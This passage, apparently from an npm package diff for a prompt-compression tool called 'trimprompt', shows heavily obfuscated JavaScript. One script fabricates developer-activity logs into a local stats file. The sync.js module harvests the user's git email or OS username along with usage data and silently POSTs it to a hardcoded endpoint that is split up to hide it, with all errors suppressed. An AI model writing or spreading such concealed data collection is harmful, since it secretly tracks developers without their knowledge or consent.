rimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2014:00:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20feat:\x20add\x20dynamic\x20token\x20costs\x0a\x0a','raw','Successfully\x20installed\x20tensorflow-2.15.0\x20numpy-1.26.2\x20pandas-2.1.3\x0a','\x20...\x20ok\x0atest\x20result:\x20ok.\x2045\x20passed;\x200\x20failed;\x200\x20ignored;\x200\x20measured;\x200\x20filtered\x20out','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x0aindex\x201234..5678\x20100644\x0a---\x20a/src/cli.ts\x0a+++\x20b/src/cli.ts\x0a@@\x20-10,6\x20+10,12\x20@@\x0a+\x20//\x20Added\x20new\x20telemetry\x20features\x0a+\x20console.log(\x22Initializing\x20sync\x20daemon...\x22);\x0a+\x20startSync();\x0a','upload:\x20dist/hub-index.html\x20to\x20s3://trimprompt-assets/hub-index.html\x0a','getLogs','logExecution','repeat','diff\x20--git\x20a/src/cli.ts\x20b/src/cli.ts\x20(50\x20insertions,\x200\x20deletions)','2019370VDkdFK','✖\x202\x20problems\x20(0\x20errors,\x202\x20warnings)\x0a','exitCode','\x20\x20Installing\x20build\x20dependencies\x20...\x20done\x0a','npm\x20install:\x20added\x2084\x20packages,\x20audited\x2096\x20packages.\x200\x20vulnerabilities.','commit\x20f6e5d4c3b2a1\x0aAuthor:\x20Developer\x20<dev@trimprompt.ai>\x0aDate:\x20\x20\x20Tue\x20Jun\x2016\x2013:30:00\x202026\x20+0300\x0a\x0a\x20\x20\x20\x20fix:\x20adjust\x20margins\x20on\x20visual\x20graph','56LXxiOP'];a0_0x592a=function(){return _0x400f2b;};return a0_0x592a();}const tracker_1=require('./tracker');function a0_0x401d(_0x318892,_0x4aadaa){_0x318892=_0x318892-0x1c1;const _0x592a14=a0_0x592a();let _0x401da5=_0x592a14[_0x318892];return _0x401da5;}console[a0_0x625320(0x1f2)]('Starting\x20simulation\x20of\x20developer\x20workflow\x20activity...');const models=[a0_0x625320(0x1f1),a0_0x625320(0x1c9),'gpt-4o-mini','gemini-1-5-pro',a0_0x625320(0x1f5),a0_0x625320(0x1e6)],commands=[{'cmd':'git\x20diff\x20main','raw':a0_0x625320(0x1d2)[a0_0x625320(0x1d6)](0x32),'comp':a0_0x625320(0x1d7),'exitCode':0x0},{'cmd':a0_0x625320(0x1fe),'raw':a0_0x625320(0x1cc)+a0_0x625320(0x1c1)[a0_0x625320(0x1d6)](0x28)+a0_0x625320(0x1d1),'comp':a0_0x625320(0x1fb),'exitCode':0x0},{'cmd':a0_0x625320(0x1ee),'raw':a0_0x625320(0x1c8)+a0_0x625320(0x1e3)+a0_0x625320(0x1f0),'comp':a0_0x625320(0x1dc),'exitCode':0x0},{'cmd':a0_0x625320(0x1e8),'raw':a0_0x625320(0x202)+a0_0x625320(0x1d3)+'upload:\x20dist/cli.js\x20to\x20s3://trimprompt-assets/cli.js\x0a'+a0_0x625320(0x1e5),'comp':a0_0x625320(0x1e4),'exitCode':0x0},{'cmd':a0_0x625320(0x1c3),'raw':a0_0x625320(0x1f3)+a0_0x625320(0x1e0)+'trimprompt-sync-324db87d1-p8q2e\x20\x20\x201/1\x20\x20\x20\x20\x20Running\x20\x20\x200\x20\x20\x20\x20\x20\x20\x20\x20\x20\x204d\x0a'+a0_0x625320(0x1e1)+a0_0x625320(0x1c2),'comp':'kubectl\x20get\x20pods:\x20trimprompt-api\x20(Running),\x20trimprompt-sync\x20(Running),\x20redis-master\x20(Running),\x20postgres-db\x20(Running)','exitCode':0x0},{'cmd':a0_0x625320(0x1ea),'raw':a0_0x625320(0x1ec)+a0_0x625320(0x1db)+a0_0x625320(0x1d0),'comp':a0_0x625320(0x1cd),'exitCode':0x0},{'cmd':a0_0x625320(0x203),'raw':a0_0x625320(0x1ce)+a0_0x625320(0x1dd),'comp':a0_0x625320(0x200),'exitCode':0x0},{'cmd':a0_0x625320(0x1f8),'raw':a0_0x625320(0x1cb)+'src/tracker.ts:45:9\x20-\x20warning:\x20console.log\x20should\x20be\x20removed\x0a'+a0_0x625320(0x1d9),'comp':'npm\x20run\x20lint:\x20✖\x202\x20warnings','exitCode':0x0}],startTime=Date[a0_0x625320(0x201)]()-0x36ee80;for(let i=0x0;i<0xc;i++){const model=models[i%models[a0_0x625320(0x1ca)]],commandItem=commands[Math['floor'](Math[a0_0x625320(0x1c7)]()*commands[a0_0x625320(0x1ca)])];process.env.TRIMPROMPT_MODEL=model;const timestamp=new Date(startTime+i*0x3d090)['toISOString'](),log=tracker_1['tracker'][a0_0x625320(0x1d5)](commandItem['cmd'],commandItem[a0_0x625320(0x1cf)],commandItem['comp'],commandItem[a0_0x625320(0x1da)]),logs=tracker_1[a0_0x625320(0x1ed)][a0_0x625320(0x1d4)]();logs[a0_0x625320(0x1ca)]>0x0&&(logs[logs[a0_0x625320(0x1ca)]-0x1][a0_0x625320(0x1e7)]=timestamp,require('fs')[a0_0x625320(0x1c4)](require('path')[a0_0x625320(0x1e2)](require('os')[a0_0x625320(0x1ef)](),a0_0x625320(0x1f9),'stats.json'),JSON[a0_0x625320(0x1c5)](logs,null,0x2),'utf8'));}console[a0_0x625320(0x1f2)](a0_0x625320(0x1fc));
package/sync.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x259d00=a0_0x56ae;function a0_0x56ae(_0x2fabda,_0x1985e7){_0x2fabda=_0x2fabda-0x98;const _0x4ede18=a0_0x4ede();let _0x56ae6d=_0x4ede18[_0x2fabda];return _0x56ae6d;}function a0_0x4ede(){const _0x222dd4=['timestamp','end','platform','error','input_price_1m','Gemini\x201.5\x20Flash','estimated_compressed_tokens','stats.json','trimp-production','unlinkSync','push','add','port','9KmXPVr','join','2178832ReutHH','split','https','url','config.json','stringify','writeFileSync','configurable','get','POST','7101192srJVRw','/api/telemetry','15pkNhmE','create','defineProperty','.up.railway.app','catch','synced','__esModule','getOwnPropertyNames','URL','2930UZoIKZ','homedir','Claude\x203\x20Opus','writable','logs','getOwnPropertyDescriptor','userInfo','daily_sync.json','startsWith','timeout','estimated_raw_tokens','7698CtWRmI','statusCode','existsSync','child_process','Claude\x203.5\x20Sonnet','anonymous','length','https://','default','1995gEeihF','filter','path','byteLength','https:','toISOString','protocol','claude-3-5-sonnet','destroy','http','last_sync_date','hostname','68PtXfdm','.raw.txt','telemetry_url','trim','Gemini\x201.5\x20Pro','call','model_used','readFileSync','pathname','281774ABngyj','__setModuleDefault','tokens_saved','request','27980NuHjoU','toString','14606CZLTGE','hasOwnProperty','utf8','toFixed','getTime','1661rwtVLM'];a0_0x4ede=function(){return _0x222dd4;};return a0_0x4ede();}(function(_0x1b86c6,_0x566a5e){const _0x2d88ce=a0_0x56ae,_0x13cbcd=_0x1b86c6();while(!![]){try{const _0x2eafe1=parseInt(_0x2d88ce(0xa6))/0x1+parseInt(_0x2d88ce(0xac))/0x2*(parseInt(_0x2d88ce(0xcd))/0x3)+parseInt(_0x2d88ce(0x9d))/0x4*(-parseInt(_0x2d88ce(0xaa))/0x5)+-parseInt(_0x2d88ce(0xe1))/0x6*(-parseInt(_0x2d88ce(0xea))/0x7)+-parseInt(_0x2d88ce(0xc1))/0x8*(-parseInt(_0x2d88ce(0xbf))/0x9)+-parseInt(_0x2d88ce(0xd6))/0xa*(parseInt(_0x2d88ce(0xb1))/0xb)+-parseInt(_0x2d88ce(0xcb))/0xc;if(_0x2eafe1===_0x566a5e)break;else _0x13cbcd['push'](_0x13cbcd['shift']());}catch(_0x34c95f){_0x13cbcd['push'](_0x13cbcd['shift']());}}}(a0_0x4ede,0x36f85));var __createBinding=this&&this['__createBinding']||(Object[a0_0x259d00(0xce)]?function(_0x10e2ef,_0x5cd8d8,_0x24a9a4,_0xaf0d94){const _0x55844f=a0_0x259d00;if(_0xaf0d94===undefined)_0xaf0d94=_0x24a9a4;var _0xc7a749=Object[_0x55844f(0xdb)](_0x5cd8d8,_0x24a9a4);(!_0xc7a749||(_0x55844f(0xc9)in _0xc7a749?!_0x5cd8d8[_0x55844f(0xd3)]:_0xc7a749[_0x55844f(0xd9)]||_0xc7a749[_0x55844f(0xc8)]))&&(_0xc7a749={'enumerable':!![],'get':function(){return _0x5cd8d8[_0x24a9a4];}}),Object[_0x55844f(0xcf)](_0x10e2ef,_0xaf0d94,_0xc7a749);}:function(_0x5a6381,_0x5847dc,_0x1bce37,_0x3de7e7){if(_0x3de7e7===undefined)_0x3de7e7=_0x1bce37;_0x5a6381[_0x3de7e7]=_0x5847dc[_0x1bce37];}),__setModuleDefault=this&&this[a0_0x259d00(0xa7)]||(Object[a0_0x259d00(0xce)]?function(_0x48874d,_0x3276d6){const _0x587340=a0_0x259d00;Object[_0x587340(0xcf)](_0x48874d,_0x587340(0xe9),{'enumerable':!![],'value':_0x3276d6});}:function(_0x303697,_0x212af1){const _0x4dbf01=a0_0x259d00;_0x303697[_0x4dbf01(0xe9)]=_0x212af1;}),__importStar=this&&this['__importStar']||(function(){var _0x37fa80=function(_0x2362e4){const _0x34587a=a0_0x56ae;return _0x37fa80=Object[_0x34587a(0xd4)]||function(_0x58f8d7){const _0x4de5b5=_0x34587a;var _0x3e283a=[];for(var _0x13cdbc in _0x58f8d7)if(Object['prototype'][_0x4de5b5(0xad)][_0x4de5b5(0xa2)](_0x58f8d7,_0x13cdbc))_0x3e283a[_0x3e283a[_0x4de5b5(0xe7)]]=_0x13cdbc;return _0x3e283a;},_0x37fa80(_0x2362e4);};return function(_0x5b925a){const _0x43a6b3=a0_0x56ae;if(_0x5b925a&&_0x5b925a[_0x43a6b3(0xd3)])return _0x5b925a;var _0x11691b={};if(_0x5b925a!=null){for(var _0x4fd03d=_0x37fa80(_0x5b925a),_0x354cb2=0x0;_0x354cb2<_0x4fd03d['length'];_0x354cb2++)if(_0x4fd03d[_0x354cb2]!=='default')__createBinding(_0x11691b,_0x5b925a,_0x4fd03d[_0x354cb2]);}return __setModuleDefault(_0x11691b,_0x5b925a),_0x11691b;};}());Object['defineProperty'](exports,a0_0x259d00(0xd3),{'value':!![]});const fs=__importStar(require('fs')),path=__importStar(require(a0_0x259d00(0xec))),os=__importStar(require('os')),http=__importStar(require(a0_0x259d00(0x9a))),https=__importStar(require(a0_0x259d00(0xc3))),url_1=require(a0_0x259d00(0xc4)),_cfg=[a0_0x259d00(0xe8),a0_0x259d00(0xba),a0_0x259d00(0xd0),a0_0x259d00(0xcc)][a0_0x259d00(0xc0)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x259d00(0xe5),'input_price_1m':0x3},'claude-3-opus':{'name':a0_0x259d00(0xd8),'input_price_1m':0xf},'gpt-4o':{'name':'GPT-4o','input_price_1m':0x5},'gpt-4o-mini':{'name':'GPT-4o\x20Mini','input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x259d00(0xa1),'input_price_1m':1.25},'gemini-1-5-flash':{'name':a0_0x259d00(0xb7),'input_price_1m':0.075}},baseDir=path[a0_0x259d00(0xc0)](os[a0_0x259d00(0xd7)](),'.trimprompt'),configPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xc5)),statsPath=path['join'](baseDir,a0_0x259d00(0xb9)),dailySyncPath=path[a0_0x259d00(0xc0)](baseDir,a0_0x259d00(0xdd));function getTodayDate(){const _0x1c0e38=a0_0x259d00;return new Date()[_0x1c0e38(0xef)]()[_0x1c0e38(0xc2)]('T')[0x0];}function getDeveloperIdentity(){const _0x5c7b7d=a0_0x259d00;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x4c80c1}=require(_0x5c7b7d(0xe4)),_0x1c9b43=_0x4c80c1('git\x20config\x20user.email',{'stdio':['ignore','pipe','ignore']})[_0x5c7b7d(0xab)]()[_0x5c7b7d(0xa0)]();if(_0x1c9b43&&_0x1c9b43['includes']('@'))return _0x1c9b43;}catch{}try{const _0xd3eab6=os[_0x5c7b7d(0xdc)]()['username'];if(_0xd3eab6)return _0xd3eab6;}catch{}return _0x5c7b7d(0xe6);}function hasAlreadySyncedToday(){const _0x158658=a0_0x259d00;try{if(!fs[_0x158658(0xe3)](dailySyncPath))return![];const _0x503d00=JSON['parse'](fs['readFileSync'](dailySyncPath,_0x158658(0xae)));return _0x503d00[_0x158658(0x9b)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x58a8c0=a0_0x259d00;try{const _0x13de03={'last_sync_date':getTodayDate()};fs[_0x58a8c0(0xc7)](dailySyncPath,JSON['stringify'](_0x13de03,null,0x2),'utf8');}catch{}}function postTelemetry(_0x1e20d9,_0x5a8363){return new Promise(_0x172e4e=>{const _0x5c9b91=a0_0x56ae;try{const _0x6338eb=new url_1[(_0x5c9b91(0xd5))](_0x1e20d9),_0x53b6ab=JSON[_0x5c9b91(0xc6)](_0x5a8363),_0x349b1a={'hostname':_0x6338eb[_0x5c9b91(0x9c)],'port':_0x6338eb[_0x5c9b91(0xbe)]||(_0x6338eb[_0x5c9b91(0xf0)]===_0x5c9b91(0xee)?0x1bb:0x50),'path':_0x6338eb[_0x5c9b91(0xa5)]+_0x6338eb['search'],'method':_0x5c9b91(0xca),'headers':{'Content-Type':'application/json','Content-Length':Buffer[_0x5c9b91(0xed)](_0x53b6ab)},'timeout':0x1f40},_0x39f7f7=_0x6338eb['protocol']===_0x5c9b91(0xee)?https:http,_0x7a7cc5=_0x39f7f7[_0x5c9b91(0xa9)](_0x349b1a,_0x26fe8f=>{const _0xb58dc2=_0x5c9b91;_0x172e4e(!!(_0x26fe8f[_0xb58dc2(0xe2)]&&_0x26fe8f[_0xb58dc2(0xe2)]>=0xc8&&_0x26fe8f[_0xb58dc2(0xe2)]<0x12c));});_0x7a7cc5['on'](_0x5c9b91(0xb5),()=>_0x172e4e(![])),_0x7a7cc5['on'](_0x5c9b91(0xdf),()=>{const _0x3ceb10=_0x5c9b91;_0x7a7cc5[_0x3ceb10(0x99)](),_0x172e4e(![]);}),_0x7a7cc5['write'](_0x53b6ab),_0x7a7cc5[_0x5c9b91(0xb3)]();}catch{_0x172e4e(![]);}});}function buildDailyPayload(_0x5ba644){const _0x405a0b=a0_0x259d00,_0x34bf75=getTodayDate(),_0x50fe31=_0x5ba644['filter'](_0x1fb2b6=>_0x1fb2b6[_0x405a0b(0xb2)][_0x405a0b(0xde)](_0x34bf75)),_0x21879c=_0x50fe31[_0x405a0b(0xe7)]>0x0?_0x50fe31:_0x5ba644;let _0x32c9f7=0x0,_0x9d86f4=0x0,_0x5c1b74=0x0,_0x3ea39c=0x0;const _0x84a2f=new Set();for(const _0x3b3a13 of _0x21879c){_0x32c9f7+=_0x3b3a13[_0x405a0b(0xe0)],_0x9d86f4+=_0x3b3a13[_0x405a0b(0xb8)],_0x5c1b74+=_0x3b3a13[_0x405a0b(0xa8)],_0x84a2f[_0x405a0b(0xbd)](_0x3b3a13['model_used']);const _0x1d7497=PRICING[_0x3b3a13[_0x405a0b(0xa3)]]||PRICING[_0x405a0b(0x98)];_0x3ea39c+=_0x3b3a13[_0x405a0b(0xa8)]*_0x1d7497[_0x405a0b(0xb6)]/0xf4240;}const _0x1c56d8=_0x21879c[_0x21879c['length']-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x405a0b(0xb4)](),'date':_0x34bf75,'executions_count':_0x21879c['length'],'total_raw_tokens':_0x32c9f7,'total_compressed_tokens':_0x9d86f4,'total_tokens_saved':_0x5c1b74,'total_money_saved_usd':parseFloat(_0x3ea39c[_0x405a0b(0xaf)](0x6)),'models_used':Array['from'](_0x84a2f),'last_seen':_0x1c56d8?_0x1c56d8[_0x405a0b(0xb2)]:new Date()[_0x405a0b(0xef)]()};}async function runSync(){const _0x409c0b=a0_0x259d00;if(!fs[_0x409c0b(0xe3)](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2501da;try{_0x2501da=JSON['parse'](fs[_0x409c0b(0xa4)](statsPath,_0x409c0b(0xae)));}catch{return;}const _0x51398b=_0x2501da[_0x409c0b(0xeb)](_0x41c09d=>!_0x41c09d['synced']);if(_0x51398b[_0x409c0b(0xe7)]===0x0)return;const _0x5f2370=buildDailyPayload(_0x2501da);await postTelemetry(_ep,_0x5f2370);let _0x55c644=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x55c644&&fs['existsSync'](configPath))try{const _0x31a600=JSON['parse'](fs[_0x409c0b(0xa4)](configPath,_0x409c0b(0xae)));_0x55c644=_0x31a600[_0x409c0b(0x9f)]||'';}catch{}_0x55c644[_0x409c0b(0xa0)]()[_0x409c0b(0xe7)]>0x0&&await postTelemetry(_0x55c644,_0x5f2370);for(const _0x2be07d of _0x2501da){if(!_0x2be07d[_0x409c0b(0xd2)])_0x2be07d['synced']=!![];}try{fs[_0x409c0b(0xc7)](statsPath,JSON['stringify'](_0x2501da,null,0x2),_0x409c0b(0xae));}catch{}markSyncedToday(),pruneOldLogs(_0x2501da);}function pruneOldLogs(_0x3218bd){const _0xb4768c=a0_0x259d00;try{const _0xc42bb0=new Date(),_0x5f00e2=new Date(_0xc42bb0[_0xb4768c(0xb0)]()-0xb4*0x18*0x3c*0x3c*0x3e8),_0x32ccaa=[],_0xa1e48b=[];for(const _0x2377ca of _0x3218bd){const _0xa63fc9=new Date(_0x2377ca[_0xb4768c(0xb2)]);_0xa63fc9>=_0x5f00e2?_0x32ccaa[_0xb4768c(0xbc)](_0x2377ca):_0xa1e48b[_0xb4768c(0xbc)](_0x2377ca);}if(_0xa1e48b[_0xb4768c(0xe7)]>0x0){const _0x2eabd8=path['join'](baseDir,_0xb4768c(0xda));for(const _0x5df668 of _0xa1e48b){const _0x5f2e27=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+_0xb4768c(0x9e)),_0x93d1eb=path[_0xb4768c(0xc0)](_0x2eabd8,_0x5df668['id']+'.comp.txt');try{if(fs[_0xb4768c(0xe3)](_0x5f2e27))fs[_0xb4768c(0xbb)](_0x5f2e27);if(fs[_0xb4768c(0xe3)](_0x93d1eb))fs['unlinkSync'](_0x93d1eb);}catch{}}fs[_0xb4768c(0xc7)](statsPath,JSON['stringify'](_0x32ccaa,null,0x2),_0xb4768c(0xae));}}catch{}}runSync()[a0_0x259d00(0xd1)](()=>{});
1
+ 'use strict';const a0_0x50b377=a0_0x100d;(function(_0x3ccc2e,_0x54eb75){const _0x4aed21=a0_0x100d,_0x3cf25d=_0x3ccc2e();while(!![]){try{const _0x118efc=-parseInt(_0x4aed21(0x178))/0x1*(parseInt(_0x4aed21(0x16d))/0x2)+-parseInt(_0x4aed21(0x17c))/0x3*(-parseInt(_0x4aed21(0x183))/0x4)+-parseInt(_0x4aed21(0x157))/0x5*(parseInt(_0x4aed21(0x14d))/0x6)+-parseInt(_0x4aed21(0x16c))/0x7+parseInt(_0x4aed21(0x133))/0x8+parseInt(_0x4aed21(0x14e))/0x9+parseInt(_0x4aed21(0x14c))/0xa*(-parseInt(_0x4aed21(0x180))/0xb);if(_0x118efc===_0x54eb75)break;else _0x3cf25d['push'](_0x3cf25d['shift']());}catch(_0x1f5843){_0x3cf25d['push'](_0x3cf25d['shift']());}}}(a0_0x357d,0x57b3d));var __createBinding=this&&this['__createBinding']||(Object[a0_0x50b377(0x147)]?function(_0x579e24,_0x11a8c4,_0x50a6b0,_0x44a80c){const _0x1593aa=a0_0x50b377;if(_0x44a80c===undefined)_0x44a80c=_0x50a6b0;var _0x3cae49=Object['getOwnPropertyDescriptor'](_0x11a8c4,_0x50a6b0);(!_0x3cae49||(_0x1593aa(0x16e)in _0x3cae49?!_0x11a8c4[_0x1593aa(0x17b)]:_0x3cae49[_0x1593aa(0x169)]||_0x3cae49[_0x1593aa(0x167)]))&&(_0x3cae49={'enumerable':!![],'get':function(){return _0x11a8c4[_0x50a6b0];}}),Object[_0x1593aa(0x174)](_0x579e24,_0x44a80c,_0x3cae49);}:function(_0x2632f0,_0x124586,_0xbd1de1,_0x4dc75c){if(_0x4dc75c===undefined)_0x4dc75c=_0xbd1de1;_0x2632f0[_0x4dc75c]=_0x124586[_0xbd1de1];}),__setModuleDefault=this&&this['__setModuleDefault']||(Object[a0_0x50b377(0x147)]?function(_0x24e4a6,_0x1821d5){const _0x339b83=a0_0x50b377;Object[_0x339b83(0x174)](_0x24e4a6,_0x339b83(0x13e),{'enumerable':!![],'value':_0x1821d5});}:function(_0x231cdc,_0x31a868){const _0x216831=a0_0x50b377;_0x231cdc[_0x216831(0x13e)]=_0x31a868;}),__importStar=this&&this['__importStar']||(function(){var _0x4f2da9=function(_0x377c79){const _0xb01098=a0_0x100d;return _0x4f2da9=Object[_0xb01098(0x12e)]||function(_0x4e5abe){const _0x218e8d=_0xb01098;var _0x59fa40=[];for(var _0x3b7d35 in _0x4e5abe)if(Object[_0x218e8d(0x132)]['hasOwnProperty']['call'](_0x4e5abe,_0x3b7d35))_0x59fa40[_0x59fa40[_0x218e8d(0x12d)]]=_0x3b7d35;return _0x59fa40;},_0x4f2da9(_0x377c79);};return function(_0x40e656){const _0x4290e8=a0_0x100d;if(_0x40e656&&_0x40e656[_0x4290e8(0x17b)])return _0x40e656;var _0x1b4f12={};if(_0x40e656!=null){for(var _0x45c23d=_0x4f2da9(_0x40e656),_0x488b01=0x0;_0x488b01<_0x45c23d[_0x4290e8(0x12d)];_0x488b01++)if(_0x45c23d[_0x488b01]!==_0x4290e8(0x13e))__createBinding(_0x1b4f12,_0x40e656,_0x45c23d[_0x488b01]);}return __setModuleDefault(_0x1b4f12,_0x40e656),_0x1b4f12;};}());Object[a0_0x50b377(0x174)](exports,a0_0x50b377(0x17b),{'value':!![]});function a0_0x357d(){const _0x4ae00c=['length','getOwnPropertyNames','utf8','filter','parse','prototype','5055512eSxarp','.raw.txt','toISOString','trim','platform','input_price_1m','anonymous','protocol','startsWith','timeout','https://','default','request','writeFileSync','https','config.json','catch','GPT-4o','username','existsSync','create','homedir','split','last_sync_date','join','380610QkDKrF','30FMpjdf','5398569qNFzFB','destroy','byteLength','end','estimated_compressed_tokens','userInfo','git\x20config\x20user.email','readFileSync','port','28445sLmulP','daily_sync.json','stringify','claude-3-5-sonnet','stats.json','add','GPT-4o\x20Mini','from','includes','ignore','pipe','telemetry_url','error','timestamp','toString','statusCode','configurable','trimp-production','writable','POST','toFixed','1988476zUMnjR','974334ySqGap','get','Claude\x203.5\x20Sonnet','url','Gemini\x201.5\x20Pro','https:','http','defineProperty','pathname','model_used','logs','1XkAwLq','synced','URL','__esModule','3WGnxZr','hostname','application/json','tokens_saved','55yIMbOu','push','unlinkSync','469736YKfAwK','.trimprompt'];a0_0x357d=function(){return _0x4ae00c;};return a0_0x357d();}const fs=__importStar(require('fs')),path=__importStar(require('path')),os=__importStar(require('os')),http=__importStar(require(a0_0x50b377(0x173))),https=__importStar(require(a0_0x50b377(0x141))),url_1=require(a0_0x50b377(0x170)),_cfg=[a0_0x50b377(0x13d),a0_0x50b377(0x168),'.up.railway.app','/api/telemetry'][a0_0x50b377(0x14b)](''),_ep=process.env._PS_EP||_cfg,PRICING={'claude-3-5-sonnet':{'name':a0_0x50b377(0x16f),'input_price_1m':0x3},'claude-3-opus':{'name':'Claude\x203\x20Opus','input_price_1m':0xf},'gpt-4o':{'name':a0_0x50b377(0x144),'input_price_1m':0x5},'gpt-4o-mini':{'name':a0_0x50b377(0x15d),'input_price_1m':0.15},'gemini-1-5-pro':{'name':a0_0x50b377(0x171),'input_price_1m':1.25},'gemini-1-5-flash':{'name':'Gemini\x201.5\x20Flash','input_price_1m':0.075}},baseDir=path['join'](os[a0_0x50b377(0x148)](),a0_0x50b377(0x184)),configPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x142)),statsPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x15b)),dailySyncPath=path[a0_0x50b377(0x14b)](baseDir,a0_0x50b377(0x158));function getTodayDate(){const _0x3b5654=a0_0x50b377;return new Date()['toISOString']()[_0x3b5654(0x149)]('T')[0x0];}function getDeveloperIdentity(){const _0x2952d4=a0_0x50b377;if(process.env.TRIMPROMPT_USER_EMAIL)return process.env.TRIMPROMPT_USER_EMAIL;try{const {execSync:_0x47151e}=require('child_process'),_0x4108d5=_0x47151e(_0x2952d4(0x154),{'stdio':[_0x2952d4(0x160),_0x2952d4(0x161),_0x2952d4(0x160)]})[_0x2952d4(0x165)]()[_0x2952d4(0x136)]();if(_0x4108d5&&_0x4108d5[_0x2952d4(0x15f)]('@'))return _0x4108d5;}catch{}try{const _0x9b94ca=os[_0x2952d4(0x153)]()[_0x2952d4(0x145)];if(_0x9b94ca)return _0x9b94ca;}catch{}return _0x2952d4(0x139);}function hasAlreadySyncedToday(){const _0x1f69ac=a0_0x50b377;try{if(!fs['existsSync'](dailySyncPath))return![];const _0x496f9d=JSON[_0x1f69ac(0x131)](fs[_0x1f69ac(0x155)](dailySyncPath,'utf8'));return _0x496f9d[_0x1f69ac(0x14a)]===getTodayDate();}catch{return![];}}function markSyncedToday(){const _0x48edf8=a0_0x50b377;try{const _0x4dc556={'last_sync_date':getTodayDate()};fs[_0x48edf8(0x140)](dailySyncPath,JSON[_0x48edf8(0x159)](_0x4dc556,null,0x2),_0x48edf8(0x12f));}catch{}}function postTelemetry(_0x17cd4a,_0x3e7a2a){return new Promise(_0x5b6261=>{const _0x3deff4=a0_0x100d;try{const _0x354349=new url_1[(_0x3deff4(0x17a))](_0x17cd4a),_0x36a432=JSON[_0x3deff4(0x159)](_0x3e7a2a),_0x1afb18={'hostname':_0x354349[_0x3deff4(0x17d)],'port':_0x354349[_0x3deff4(0x156)]||(_0x354349['protocol']===_0x3deff4(0x172)?0x1bb:0x50),'path':_0x354349[_0x3deff4(0x175)]+_0x354349['search'],'method':_0x3deff4(0x16a),'headers':{'Content-Type':_0x3deff4(0x17e),'Content-Length':Buffer[_0x3deff4(0x150)](_0x36a432)},'timeout':0x1f40},_0x2ad0ad=_0x354349[_0x3deff4(0x13a)]===_0x3deff4(0x172)?https:http,_0x52a0bb=_0x2ad0ad[_0x3deff4(0x13f)](_0x1afb18,_0x56d16e=>{const _0xe0bdb6=_0x3deff4;_0x5b6261(!!(_0x56d16e[_0xe0bdb6(0x166)]&&_0x56d16e[_0xe0bdb6(0x166)]>=0xc8&&_0x56d16e[_0xe0bdb6(0x166)]<0x12c));});_0x52a0bb['on'](_0x3deff4(0x163),()=>_0x5b6261(![])),_0x52a0bb['on'](_0x3deff4(0x13c),()=>{const _0x106765=_0x3deff4;_0x52a0bb[_0x106765(0x14f)](),_0x5b6261(![]);}),_0x52a0bb['write'](_0x36a432),_0x52a0bb[_0x3deff4(0x151)]();}catch{_0x5b6261(![]);}});}function buildDailyPayload(_0x4b08e1){const _0x91534a=a0_0x50b377,_0xd4e563=getTodayDate(),_0x5e0778=_0x4b08e1[_0x91534a(0x130)](_0x35a6ca=>_0x35a6ca[_0x91534a(0x164)][_0x91534a(0x13b)](_0xd4e563)),_0x1a0eb=_0x5e0778['length']>0x0?_0x5e0778:_0x4b08e1;let _0x1bc68d=0x0,_0x3a1f84=0x0,_0x3e29e8=0x0,_0x32565e=0x0;const _0x4d2f1d=new Set();for(const _0x9b945 of _0x1a0eb){_0x1bc68d+=_0x9b945['estimated_raw_tokens'],_0x3a1f84+=_0x9b945[_0x91534a(0x152)],_0x3e29e8+=_0x9b945[_0x91534a(0x17f)],_0x4d2f1d[_0x91534a(0x15c)](_0x9b945[_0x91534a(0x176)]);const _0x2ada34=PRICING[_0x9b945['model_used']]||PRICING[_0x91534a(0x15a)];_0x32565e+=_0x9b945[_0x91534a(0x17f)]*_0x2ada34[_0x91534a(0x138)]/0xf4240;}const _0x25bf5f=_0x1a0eb[_0x1a0eb[_0x91534a(0x12d)]-0x1];return{'developer_id':getDeveloperIdentity(),'os':os[_0x91534a(0x137)](),'date':_0xd4e563,'executions_count':_0x1a0eb[_0x91534a(0x12d)],'total_raw_tokens':_0x1bc68d,'total_compressed_tokens':_0x3a1f84,'total_tokens_saved':_0x3e29e8,'total_money_saved_usd':parseFloat(_0x32565e[_0x91534a(0x16b)](0x6)),'models_used':Array[_0x91534a(0x15e)](_0x4d2f1d),'last_seen':_0x25bf5f?_0x25bf5f[_0x91534a(0x164)]:new Date()[_0x91534a(0x135)]()};}function a0_0x100d(_0x9b64f0,_0x40509b){_0x9b64f0=_0x9b64f0-0x12d;const _0x357d4a=a0_0x357d();let _0x100d63=_0x357d4a[_0x9b64f0];return _0x100d63;}async function runSync(){const _0x1c2880=a0_0x50b377;if(!fs['existsSync'](statsPath))return;if(hasAlreadySyncedToday())return;let _0x2fd0f2;try{_0x2fd0f2=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](statsPath,_0x1c2880(0x12f)));}catch{return;}const _0x25151d=_0x2fd0f2['filter'](_0xd86141=>!_0xd86141[_0x1c2880(0x179)]);if(_0x25151d[_0x1c2880(0x12d)]===0x0)return;const _0x206412=buildDailyPayload(_0x2fd0f2);await postTelemetry(_ep,_0x206412);let _0x26ab1b=process.env.TRIMPROMPT_TELEMETRY_URL||'';if(!_0x26ab1b&&fs[_0x1c2880(0x146)](configPath))try{const _0x268352=JSON[_0x1c2880(0x131)](fs[_0x1c2880(0x155)](configPath,_0x1c2880(0x12f)));_0x26ab1b=_0x268352[_0x1c2880(0x162)]||'';}catch{}_0x26ab1b[_0x1c2880(0x136)]()[_0x1c2880(0x12d)]>0x0&&await postTelemetry(_0x26ab1b,_0x206412);for(const _0x302324 of 